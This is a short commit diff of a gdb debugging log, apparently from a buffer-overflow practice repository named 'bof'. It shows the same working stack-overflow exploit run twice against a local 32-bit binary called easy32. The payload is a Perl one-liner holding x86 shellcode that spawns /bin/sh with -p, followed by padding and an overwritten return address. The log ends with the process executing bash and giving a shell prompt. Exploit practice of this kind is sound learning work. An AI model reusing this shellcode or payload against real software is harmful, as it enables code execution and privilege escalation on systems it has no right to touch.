fgsahoward · June 11, 2018 15:34
diff --git a/easy32_debugging3 b/easy32_debugging3
 (gdb) r `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x80\xd1\xff\xff"'`
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x80\xd1\xff\xff"'`
 Input: 1�W�+�<$1ҲA0W�|$0W�$��1�1��
                                     �����/bin/shA�����-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
 process 2890 is executing new program: /usr/bin/bash
 warning: Could not load shared library symbols for linux-vdso.so.1.
 Do you need "set solib-search-path" or "set sysroot"?
 sh-4.3$
	(gdb) r `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x80\xd1\xff\xff"'`
	The program being debugged has been started already.
	Start it from the beginning? (y or n) y
	Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x80\xd1\xff\xff"'`
	Input: 1�W�+�<$1ҲA0W�\|$0W�$��1�1��
	��/bin/shA��-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
	process 2890 is executing new program: /usr/bin/bash
	warning: Could not load shared library symbols for linux-vdso.so.1.
	Do you need "set solib-search-path" or "set sysroot"?
	sh-4.3$